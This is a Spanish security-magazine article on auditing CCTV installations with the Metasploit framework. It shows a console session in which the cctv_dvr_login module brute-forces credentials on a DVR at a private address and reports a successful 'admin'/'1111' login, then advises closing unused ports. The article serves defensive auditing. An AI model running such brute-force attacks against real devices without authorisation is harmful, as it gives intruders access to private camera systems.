Cómo auditar instalaciones

Laboratorio de seguridad

Metasploit es una de las herramientas más accesibles y sencillas de utilizar para auditar una instalación de seguridad, sea de CCTV, intrusión o accesos. Es un proyecto de código abierto, disponible de manera gratuita, que también tiene una versión paga con las últimas actualizaciones.

Lic. Damián Colaneri
Socio Gerente
T3 Tic Ingeniería SRL
dcolaneri@t3tic.com.ar

En el número anterior terminamos hablando de mestasploit para auditar nuestras instalaciones de seguridad, por lo que, en esta ocasión, haremos una breve descripción de esta herramienta.

Metasploit es un proyecto open source (código abierto) de seguridad informática que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración, "Pentesting", y el desarrollo de firmas para sistemas de detección de intrusos. Esta herramienta está también disponible en una versión paga, que ofrece las últimas actualizaciones en fallos de seguridad. Nosotros, sin embargo, usaremos Metasploit framework, que es su versión gratuita.

Este framework incluye módulos de explotación para todo tipo de sistemas, versiones y dispositivos, entre otros. Su modo de uso es similar, independientemente del sistema a auditar o explotar. Además, todos los módulos que lo componen disponen de un sistema de ayuda para su uso. En nuestro caso, usaremos como ejemplo los orientados a CCTV, aunque los invito luego a investigar las diferentes alternativas que propone para, por ejemplo, IdC, alarmas monitoreadas TCP/IP o controles de acceso, entre otros segmentos.

Explicar desde cero el paso a paso de metasploit puede ser algo confuso de escribir y podría llevar páginas de notas que terminarían aburriendo al lector. Como se trata solo de informar y brindar algunos ejemplos prácticos, el lector que esté interesado pueden contactarse de manera privada para obtener mayor información.

EJEMPLO

Para nuestro ejemplo, usaremos el módulo "CCTV_DVR_LOGIN", citado en la nota anterior (RNDS nº 113, correspondiente a septiembre de este año). Este módulo funciona con muchas marcas de CCTV, ya sean DVR, NVR o cámaras, las que son muy utilizadas en nuestro país tanto por hogares como por empresas.

Este módulo tiene la capacidad de analizar una red para descubrir todos los dispositivos conectados a ella, ver cuáles son vulnerables, revisar los usuarios de sistema que posee y romper sus contraseñas por fuerza bruta. Luego tendremos acceso total al sistema.

```
msf > use auxiliary/scanner/misc/cctv_dvr_login
msf auxiliary(cctv_dvr_login) > set RHOSTS 10.10.1.14
RHOSTS => 10.10.1.14
msf auxiliary(cctv_dvr_login) > exploit

[*] 10.10.1.14:5920 CCTV_DVR - [001/133] - Trying username:'admin' with password:''
[-] 10.10.1.14:5920 CCTV_DVR - [001/133] - Failed login as: 'admin'
[*] 10.10.1.14:5920 CCTV_DVR - [002/133] - Trying username:'user' with password:''
[-] 10.10.1.14:5920 CCTV_DVR - [002/133] - Invalid user: 'user'
[*] 10.10.1.14:5920 CCTV_DVR - [003/133] - Trying username:'admin' with password:'admin'
[-] 10.10.1.14:5920 CCTV_DVR - [003/133] - Failed login as: 'admin'
[*] 10.10.1.14:5920 CCTV_DVR - [004/133] - Trying username:'admin' with password:'1111'
[+] 10.10.1.14:5920 Successful login: 'admin' : '1111'
[*] Confirmed IE ActiveX HTTP interface (CtrWeb.cab v1,1,3,1): http://10.10.1.14:80
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

En la imagen del ejemplo, dentro de la consola de metasploit framework (msf), se carga el módulo cctv_dvr_login y luego se configura el host remoto, o hosts (rhost) con la IP o IPS para lanzarlo al comando exploit. Entonces el framework comenzará a trabajar hasta conseguir el acceso al sistema.

Si analizan un poco los módulos de metasploit, encontrarán muchos dedicados específicamente a cada marca de dispositivo, el cual identificarán por su nombre y es por ello que requieren ser listados. Su uso es el mismo que el del ejemplo: se carga el módulo, se configura el objetivo con el comando rhost y se ejecuta con "exploit".

También, como vimos anteriormente, si en nuestros sistemas encontramos puertos abiertos como ssh, o telnet, tenemos módulos específicos para ellos y así lograr ingresar al sistema.

Basándonos en lo anterior, recordemos que, como buena práctica de seguridad, deben cerrarse todos los puertos que no se utilicen. Por ejemplo, si monitoreamos un sistema desde su cliente no es necesario el acceso web al mismo, por lo que debemos desactivar el mismo para cerrar el puerto 80. De este modo nuestra implementación será menos vulnerable a ataques como el que estamos mostrando.

En sucesivas entregas continuaremos mostrando las opciones con las que cuenta el profesional para llegar a una instalación efectiva, logrando máxima seguridad en su implementación a través de diferentes test, muchos de ellos disponibles en la red y sencillos de realizar, que contribuirán a auditar el estado de los sistemas de seguridad puestos en marcha. ■